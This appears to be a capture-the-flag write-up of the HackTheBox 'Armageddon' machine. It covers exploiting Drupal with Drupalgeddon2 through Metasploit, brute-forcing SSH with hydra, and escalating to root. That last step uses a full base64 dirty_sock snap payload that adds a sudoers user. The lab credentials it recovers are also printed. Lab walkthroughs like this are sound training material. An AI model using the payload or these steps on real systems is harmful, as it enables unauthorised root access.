This box is probably the easiest box I ever did in hackthebox , it's vulnerable to drupalgeddon2 which has both manual exploit and automated exploit (metasploit) , and privilege escalation using the classic snap binary :)

Enumeration

22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Now seeing port 80 open running on apache server and installed with drupal cms, now it already disclosed the version of the drupal running and that's drupal 7, I decided to search the version up in exploit-db : searchsploit

a lot of exploits available , and drupalgeddon2 seems promising since it works in versions < 8.3.9 , < 8.4.6 , < 8.5.1 , I decided to exploit it with metasploit .

Gaining Shell

From metasploit I searched for drupalgeddon2 and the exploit showed then I set options and run the exploit , and it worked like charm

but unfortunately I got shell as apache

whoami && hostname && id
apache
armageddon.htb
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

now to recognize which user I have to gain access to , I had to read the /etc/passwd file which contained a list of usernames and their home-folders

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

well I saw brucetherealadmin , who has a home folder in /home/brucetherealadmin, that's probably where the user.txt must be kept

, now that's known , i did couple of other enumerations hoping , I'd at least get some passwords but nope , so then since this box was an easy rated , I decided to bruteforce the password with a wordlist (rockyou.txt) , I used a tool called hydra for the job .

And here I was like WTH , who sets his password as booboo, that was easy… , I gained access to ssh using those creds brucetherealadmin:booboo and inside it we get user.txt .

[brucetherealadmin@armageddon ~]$ ls | grep -i .txt
user.txt

Privilege Escalation & Root Access

this was a straight forward command > googling > root , I listed sudo privileges allowed to brucetherealadmin, and found out that he can run /usr/bin/snap install * as root technically I can run :P , I decided to look for privesc methodologies using snap and I found this article https://0xdf.gitlab.io/2019/02/13/playing-with-dirty-sock.html , I did the dirty_sock exploit and it worked , so basically I created a snap file which will be installed under root and as it is installed it creates a user named dirt_sock with the password dirty_sock which has privileges to root

python -c ‘print “aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw” + “A”*4256 + “==”’ | base64 -d > evil.snap

then I installed it with sudo snap install evil.snap --dangerous --devmode after that was done I was able to login to dirt_sock user and gain access directly to root

And there I got root access!